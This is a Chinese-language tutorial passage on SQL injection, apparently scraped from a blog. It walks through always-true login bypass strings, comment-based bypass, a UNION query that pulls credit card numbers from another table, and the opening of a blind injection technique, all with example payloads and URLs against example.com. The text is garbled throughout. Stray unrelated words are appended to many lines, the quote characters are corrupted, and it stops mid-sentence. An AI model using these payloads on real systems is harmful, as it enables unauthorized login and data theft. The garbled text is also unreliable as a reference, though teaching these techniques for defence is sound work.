就是经过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
例如一个简单的登陆表单(这里把密码写成明文方便说明):
当在表单中填写这样的语句进行提交登陆时会出现这样的SQL语句php
select * from t_admin where admin_name='xxx' and admin_pwd='xxx'' or '1'
这样会查询出全部的用户信息,全部存在不安全隐患html
下面看看一些经常使用例测试的SQL注入语句。mysql
SELECT * FROM Users WHERE Username='$username' AND Password='$password'
咱们针对上面的SQL语句分析,发现若是用下面的测试数据就可以进行SQL注入了
引用
username=1′or′1′=′1password=1’or’1’=’1
看看整个SQL查询语句变成:
引用程序员
SELECT * FROM Users WHERE Username='1' OR '1'='1' AND Password='1'OR '1'='1'
假设参数值是经过GET方法传递到服务器的,且域名为www.example.com 那么咱们的访问请求就是:
引用
http://www.example.com/index.php?username=1‘%20or%20’1’%20=%20’1password=1’%20or%20’1’%20=%20’1
对上面的SQL语句做简单分析后咱们就知道因为该语句永远为真,因此确定会返回一些数据,在这种状况下实际上并未验证用户名和密码,而且在某些系统中,用户表的第一行记录是管理员,那这样形成的后果则更为严重。sql
另一个查询的例子以下: 引用
数据库
SELECT * FROM Users WHERE((Username='$username')AND(Password=MD5('$password')))
在这个例子中,存在两个问题,一个是括号的用法,还有一个是MD5哈希函数的用法。对于第一个问题,咱们很容找出缺乏的右括号解决,对于第二个问题,咱们能够想办法使第二个条件失效。咱们在查询语句的最后加上一个注释符以表示后面的都是注释,常见的注释起始符是/*(在Oracle中是–),也就是说,咱们用以下的用户名和密码:
引用
username=1′or′1′=′1′))/∗password = foo
那么整条SQL语句就变为:
引用数组
SELECT * FROM Users WHERE(( Username='1'or '1'='1'))/*')AND (Password=MD5('$password')))
那么看看URL请求就变为:
引用
http://www.example.com/index.php?username=1‘%20or%20’1’%20=%20’1’))/*&password=foo
#####3.Union查询SQL注入测试
Union查询SQL注入测试
还有一种测试是利用Union的,利用Union能够链接查询,从而从其余表中获得信息,假设以下查询:
引用安全
SELECT Name, Phone, Address FROM Users WHERE Id=$id
而后咱们设置id的值为:
引用
$id =1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable
那么总体的查询就变为:
引用服务器
SELECT Name, Phone,Address FROM Users WHERE Id=1 UNION ALL SELECT creaditCardNumber,1,1 FROM CreditCarTable
显示这就能获得全部信用卡用户的信息。
盲目SQL注入测试
在上面咱们提到过盲SQL注入,即bind SQL Injection,它意味着对于某个操做咱们得不到任何信息,一般这是因为程序员已经编写了特定的出错返回页面,从而隐藏了数据库结构的信息。
但利用推理方法,有时候咱们可以恢复特定字段的值。这种方法一般采用一组对服务器的布尔查询,依据返回的结果来推断结果的含义。仍然延续上面的www.example.com有一个参数名为id, 那么咱们输入如下url请求:
引用
http://www.exampe.com/index.php?id=1’
显然因为语法错误,咱们会获得一个预先定义好的出错页面,假设服务器上的查询语句为
引用
SELECT field1,field2,field3 FROM Users WHERE Id=’Id′假设我们想要的带哦用户名字段的值,那么通过一些函数,我们就可以逐字符的读取用户名的值。在这里我们使用以下的函数:引用
SUBSTRING(text,start,length),ASCII(char),LENGTH(text)
我们定义